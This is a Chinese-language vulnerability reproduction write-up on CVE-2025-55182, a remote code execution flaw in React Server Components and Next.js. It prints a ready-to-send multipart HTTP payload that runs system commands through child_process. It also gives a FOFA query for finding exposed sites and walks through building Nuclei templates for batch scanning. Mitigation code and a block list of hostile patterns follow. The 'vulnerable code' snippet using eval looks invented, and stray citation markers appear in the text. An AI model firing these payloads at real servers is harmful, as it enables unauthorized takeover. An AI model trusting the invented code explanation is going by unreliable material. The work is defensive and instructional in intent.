文章目录
前言
本篇文章基于Nextjs漏洞进行复现并结合工具使用和POC编写,实现漏洞能在短时间内精准发现。
一、CVE-2025-55182漏洞简介
CVE-2025-55182(React Server Components(RSC)) 反序列化漏洞
该漏洞源于RSCFlight协议在处理客户端发往服务器端函数(Server Function)端点的序列化数据时,未能安全地进行反序列化[citation:5][citation:9] 远程未经身份验证的攻击者可以构造一个恶意的HTTP请求,在服务器上直接执行任意代码,从而安全控制服务器。
二、漏洞详情
• 漏洞名称: React Server Components远程代码执行漏洞'
• CVE编号: CVE-2025-55182 / CVE-2025-66478
• 影响软件: React Server Components / Next.js
• 漏洞类型: 任意代码执行、信息泄露
• 危害等级: 高危 (CVSS 9.8)
• 攻击向量: 远程、网络、无认证
三、技术原理解析
漏洞根源解析
CVE-2025-55182的核心问题在于react-server-dom-webpack的Server Actions功能在处理客户端表单提交时存在严重的安全校验缺失。
技术实现缺陷
// 漏洞代码位置:react-server-dom-webpack的处理逻辑
const serverAction = formData.get('__NEXT_SERVER_ACTION__');
// 缺少输入验证和代码转义
const result = eval(serverAction); // 直接执行任意JavaScript代码
攻击链构造
攻击者通过以下步骤实现漏洞利用:
- 表单数据污染: 构造包含恶意代码的multipart/form-data
- Server Actions触发: 利用Next.js的Server Actions机制
- Node.js模块调用: 直接调用Node.js内置模块
- 系统命令执行: 通过
child_process执行任意命令 - 权限提升和文件操作: 完全控制服务器文件系统
漏洞触发机制
从提供的复现数据包可以看出,漏洞利用的核心在于构造特殊的JSON对象:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "try { var res = process.mainModule.require('child_process').execSync('echo QAXNB12138').toString('base64'); } catch(e) { var res = 'ERROR'; } throw Object.assign(new Error('x'),{digest:res});",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
四、影响范围
- React影响版本清单
matlab
| 组件名称 | 受影响版本序列 | 风险等级 |
| React Core | 19.0.0, 19.0.1, 19.1.0, 19.2.0 | 🔴 高危 |
| react-server-dom-webpack | 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.2.0 | 🔴 高危 |
| react-server-dom-parcel | 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.2.0 | 🔴 高危 |
| react-server-dom-turbopack | 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.2.0 | 🔴 高危 |
- Next.js影响版本矩阵
| 版本系列 | 影响版本范围 | 修复版本 | 风险等级 |
matlab
| Next.js 15.x | 15.0.0 <= v < 15.0.5 | 15.0.5+ | 🔴 高危 |
| Next.js 15.x | 15.1.0 <= v < 15.1.9 | 15.1.9+ | 🔴 高危 |
| Next.js 15.x | 15.2.0 <= v < 15.2.6 | 15.2.6+ | 🔴 高危 |
| Next.js 15.x | 15.3.0 <= v < 15.3.6 | 15.3.6+ | 🔴 高危 |
| Next.js 15.x | 15.4.0 <= v < 15.4.8 | 15.4.8+ | 🔴 高危 |
| Next.js 15.x | 15.5.0 <= v < 15.5.7 | 15.5.7+ | 🔴 高危 |
| Next.js 16.x| 16.0.0 <= v < 16.0.7 | 16.0.7+ | 🔴 高危 |
| Next.js 14.x | >= 14.3.0-canary.77 | 多个版本 | 🔴 高危 |
- 业务应用影响
matlab
| 应用名称 | 受影响版本 | 影响程度 |
| Dify | 1.1.2 <= v < 1.10.1-fix.1 | 🔴 严重 |
| Vercel | 所有使用Server Actions的项目 | 🔴 广泛 |
| 自定义Next.js应用 | 使用App Router的项目 | 🔴 严重 |
五、漏洞验证(结合Yakit、Wavely)
CVE-2025-55182 无条件 RCE Payload
POST /apps HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 578
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('whoami').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": [],
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Yakit验证POC CVE-2025-55182漏洞可用

FOFA搜索引擎
app="Next.js" && body="/_next/static/chunks/app/" && country="CA"

在利用Yakit工具测试的同时,也会利用另一款工具叫Wavely,没错就是它喽⬇

Wavely这款工具就是针对于Nuclei工具进行的POC模板编写和管理的一款工具,可以通过图形界面进行POC编写,在编写的同时呢,在其右侧会以代码的形式去实现,方便我们去学习如何去编写POC(这个工具编写的payload后缀是以.yaml格式的)
还是先返回到Yakit工具上面,我们用yakit去复现漏洞,但是如何去利用它编写和生成一个可用于Nuclei扫描脚本呢,yakit工具里面有一个原生的规则叫做匹配器

这个匹配器的意思呢就是我们从响应包里面提取什么样的特征,当我们的扫描器扫描的时候它遇到什么样的特征才算是有漏洞呢

像我们如果进行命令执行的话,在匹配条件这里填写回显特征部分信息就可以了,进行保存

然后我们重新发送数据包,就会出现匹配成功的显示

既然匹配器这块都弄完了,也大致知道是怎么个事了,那接下来就整一整扫描脚本这一块吧
在工具的右上角有一个生成Yaml模板,点击 "生成Path模板"

可以生成两种格式的模板,我们一般用这两种哪一个都可以,区别就是内容格式不一样,Raw请求格式就是我们刚刚请求的是一样的

我们来验证模板是否为可用的,在左侧把我们请求包放在这里然后去发送,在上面的BUG里已经出现漏洞风险提示了

这里我们验证完后可以保存这个模板,后续可使用Nuclei -t参数指定这个模板去批量检测漏洞

这时候模板呢可能会有一些问题检测不了,需要我们进行一些调整,这个时候呢就要用到我们的神器了Wavely了,我们把yakit源码复制到Wavely里面进行后期的调试

这个工具可以在调试代码的同时也可以进行抓包重放,然后查看具体的内容

既然我们可以通过修改代码进行脚本验证是否可用,那我们是不是也可以采用图形化界面方式,进行脚本编写验证呢


所有信息填写完之后,点击调试模板就可以验证模板是否可用了。


把这个脚本拿出来用Nuclei工具并引用这个脚本去跑批量

Wavely这款工具可以用来学习和解读别人是怎么写的poc,逻辑和架构能更好的帮助我们进行漏洞POC的编写和验证。
六、防护与缓解措施
-
立即响应方案
1、升级修复版本 # React项目升级 npm install react@^19.2.1 npm install react-server-dom-webpack@^19.2.1 # Next.js项目升级 npm install next@^15.5.7 # 或更高的修复版本 2. 临时缓解措施 // 在Next.js middleware中添加安全检查 export async function middleware(request) { const formData = await request.formData(); const serverAction = formData.get('__NEXT_SERVER_ACTION__'); // 检查是否包含恶意特征 if (serverAction && typeof serverAction === 'string') { const maliciousPatterns = [ 'require(', 'child_process', 'exec', 'eval', 'Function(' ]; if (maliciousPatterns.some(pattern => serverAction.includes(pattern))) { return new Response('Security violation detected', { status: 403 }); } } return NextResponse.next(); } -
长期防御策略
1. 代码审查强化 // 实现安全的Server Actions处理 const secureServerAction = async (formData) => { // 输入净化 const sanitizedInput = sanitize(formData.get('action')); // 白名单验证 const allowedActions = [ 'createUser', 'updateProfile', 'deleteFile' ]; if (!allowedActions.includes(sanitizedInput)) { throw new Error('Unauthorized action'); } // 执行安全检查后的操作 return await executeSafeAction(sanitizedInput); }; 2. Web应用防火墙规则 # 基于Nginx的WAF规则 location / { if ($request_method = POST) { # 检测Next-Action头部 if ($http_next_action != "") { return 403; } # 检测恶意载荷 if ($request_body ~* "(require\(|child_process|exec\(|eval\()") { return 403; } } } 3. 运行时监控 // 添加执行时间监控 const wrapServerAction = (action) => { return async (formData) => { const startTime = Date.now(); try { const result = await action(formData); const duration = Date.now() - startTime; // 监控异常执行时间 if (duration > 5000) { console.warn('Suspicious slow action detected'); } return result; } catch (error) { console.error('Server action failed:', error); throw error; } }; };